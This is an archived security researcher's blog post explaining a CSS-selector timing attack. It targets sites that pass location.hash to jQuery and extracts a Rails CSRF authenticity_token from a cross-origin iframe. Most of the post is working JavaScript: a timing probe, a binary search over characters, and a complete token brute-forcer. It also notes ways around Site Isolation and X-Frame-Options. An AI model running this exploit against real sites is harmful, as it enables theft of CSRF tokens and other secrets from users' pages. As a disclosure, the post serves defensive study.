A timing attack with CSS selectors and Javascript

A timing attack with CSS selectors and Javascript - Sigurd Kolltveit, sheddow's blog.

- Published: 2018-10-06
- Original: <https://blog.sheddow.xyz/css-timing-attack/>
- Preserved from: https://blog.sheddow.xyz/css-timing-attack/ (stored) on 2026-08-09
- Capture timestamp: 20230518085223
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Have you ever encountered a website that runs `jQuery(location.hash)`? Seemingly pretty harmless, right? `location.hash` always starts with a "#" so all this code does is execute a CSS query selector. It turns out that's enough to perform a timing attack that can extract almost any secret string from the HTML.

Let's start with the basics. A CSS selector is used to match and select HTML elements and looks like these: `div`, `a[href]`, `input[name=authenticity_token]`. With CSS3 you can have even more complicated selectors - for example `input[value^='x']` matches an input element whose value attribute starts with 'x'.

Now over to the next ingredient of the timing attack. The best way to learn is by experimentation, so open your browser console (Ctrl-Shift-K in Firefox, Ctrl-Shift-J in Chrome). Execute `$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")`. Unless you have a very fast computer it should delay slightly before returning. Now execute `$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='doesntexist']")`. Notice how much faster it was? You have just discovered a very interesting property of CSS selectors: short-circuiting. The browser evaluates the selector right-to-left, so it starts searching for `main[id='site-main']`. When it finds it, it has to make sure it has a parent element that matches `*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*))))`. This part is what takes so long (the :has pseudo-class is not implemented in the browser, but in jQuery). For the other selector, the browser evaluates `main[id='doesntexist']`, then when it doesn't find it, it just quits, ignoring the rest of the selector. In other words, it exhibits the same short-circuiting behavior as `and` / `&&` in most programming languages - just backwards.

The timing attack is beginning to take shape. Let's say we want to extract the `authenticity_token` (which protects against CSRF in Rails applications). If we execute the selector `*:has(:has(:has(*)) :has(*) :has(*)) input[name=authenticity_token][value^='x']`, it will take a long time only if the authenticity_token starts with 'x'. But there's still a crucial problem left: how do we measure this

time difference? The answer comes from a blog post by Eduardo Vela. The brilliant insight he offers is that the victim site and attacker site both run in the same thread, so a long running javascript process on the victim site will block execution on the attacker site. This gives us a way to detect when a selector is spending a long time executing.

I've set up an example site so we can experiment more easily: https://labs.sheddow.xyz/fsf.html. Try to append `#header1` to the URL and see what happens. View the page source and look at the hashchange handler to see exactly what it does. I've also set up the attacker site at https://hack.sheddow.xyz/fsf.html which embeds the victim site as an iframe. Now, back to the hack; `hack.sheddow.xyz` can schedule a callback to be executed later with `setTimeout`, then execute the selector on the victim site (via the hashchange handler in our case). If the hashchange handler is very slow, it will delay execution of the callback, and this delay can be measured with `window.performance.now`. Let's try to convert this into code.

```
const WAIT_TIME = 6;
const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";

const wait = ms => new Promise(resolve => setTimeout(resolve, ms));

function get_execution_time(selector) {
  var t0 = window.performance.now();

  var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))

  window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + "," + Math.random();

  return p;
}

function measure_time(t0) {
  var t = window.performance.now() - t0;
  return t;
}
```

First we define a function `wait` so that we can work with Promises instead of with setTimeout directly. `get_execution_time` returns a Promise that *should* resolve in `WAIT_TIME` milliseconds, but before that, it executes the hashchange handler. The hashchange handler will hog the thread, and resolution of the Promise will be delayed. If the hashchange handler takes 50ms to execute, the Promise will resolve in atleast 50ms, and it will resolve *to* a value equal to the time it took. The `WAIT_TIME` is just to make sure the hashchange handler starts executing before the promise resolves. Test it out at https://hack.sheddow.xyz/fsf.html; open the browser console, enter `get_execution_time("p").then(console.log)`, and it should show about 10-20ms. Then try `get_execution_time("*:has(*:has(*))").then(console.log)`, and it should show something closer to 100ms. At this point we can start brute-forcing the authenticity_token: just do

`get_execution_time("*:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a']")` for each possible character, and the one that takes the longest time is probably the right one.

It's still possible to make it faster though. If you're familiar with blind SQL injection, you'll know that testing character by character is not the most optimal strategy. As with blind SQL injection, each query yields one bit of information ("fast" or "slow"), so it should be possible to halve the search space for each query. The trick is to test lots of characters at the same time, and use a binary search-like algorithm to narrow it down. Let's say we start testing `abcdefghijklmnopqrstuvwxyzABCDEF`. We can combine the selectors with a comma, so we'll end up with a super-long selector that looks something like `*:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a'], *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='b'], ...`. We then compare the execution time of these characters with the execution time of `GHIJKLMNOPQRSTUVWXYZ0123456789+/`, and whichever took the longest contains the correct character. Then we just split the correct string in half and repeat the process on the two substrings, recursively, until we hit upon the correct character.

Let's turn this into code. I'm gonna use async/await to make the code slightly cleaner.

```
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";

async function binary_search(prefix, characters) {
  console.log("Testing '" + characters + "'");
  if (characters.length == 1) {
    return characters[0];
  }

  var mid = Math.floor(characters.length/2);
  var s1 = make_selector(prefix, characters.slice(0, mid));
  var s2 = make_selector(prefix, characters.slice(mid, characters.length));

  var t1 = await get_execution_time(s1);
  var t2 = await get_execution_time(s2);

  if (t1 < t2) {
    return binary_search(prefix, characters.slice(mid, characters.length));
  }
  else {
    return binary_search(prefix, characters.slice(0, mid));
  }
}

function make_selector(prefix, characters) {
  return characters
    .split("")
    .map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
    .join(",");
}
```

Relatively straightforward. It just splits `characters` in two, measures the execution time of each half, then recursively calls itself. If you run `binary_search("", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/").then(console.log)` on https://hack.sheddow.xyz/fsf.html it should return `g`.

Finally, we can start bruteforcing the entire token. Just do something like

```
var token = "";
while (token.length < TOKEN_LENGTH) {
  var c = await binary_search(token, BASE64_CHARS);
  token += c;
}
```

and you're good, right? Not so fast. If just a single character is guessed incorrectly it will throw all future queries off. You're almost guaranteed to end up with an incorrect token. Fortunately the time difference between a correct and incorrect query should be so great that we can detect whether we have guessed incorrectly. Just create a function

```
function approximately_equal(t1, t2) {
  var diff = Math.abs(t1 - t2);
  return diff <= 0.2*t1 || diff <= 0.2*t2;
}
```

and modify `binary_search` to return `null` if `t1` and `t2` are approximately equal. Now let's try again:

```
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;

async function bruteforce_token() {
  var misses = 0;
  var token = "";
  while (token.length < TOKEN_LENGTH) {
    var c = await binary_search(token, BASE64_CHARS);
    if (c === null) {
      misses++;
      if (misses == 3) {
        token = token.slice(0, -1); // Backtrack
      }
    }
    else {
      token += c;
      misses = 0;
    }
  }
  return token;
}
```

`TOKEN_LENGTH` is 43 because we're looking for a 32-byte token that's base64-encoded. We can ignore the final equals sign. If `binary_search` is unsuccessful three times in a row we probably have an incorrect token, so we remove a character from the end.

All that's left is to prove the concept. Just go to https://hack.sheddow.xyz/fsf.html?attack. Since it uses async/await you'll need a relatively new browser. I've only tested it in Firefox and Chromium, but I think it should work in most browsers. If it doesn't, let me know! Thanks for reading!

Update to answer some questions:

Does Site Isolation prevent this attack?

Yes actually. It turns out Chrome considers `hack.sheddow.xyz` and `labs.sheddow.xyz` to be the same "site" even though they're different origins. If you try the same attack from https://notsheddow.xyz/fsf.html?attack, you'll see it won't work in Chrome. Update to the update: Eduardo Vela suggested that navigating the victim page away would leak timing information even with site isolation. After some experimentation, this seems to be true. Service workers can detect navigation without much overhead, so the attack could still work with only minor modification.

Does setting X-Frame-Options prevent this attack?

Not really, it just makes it more difficult to exploit. You can open a new window with `window.open` then perform the same attack through `window.opener` instead of through `window.frames[0]`.
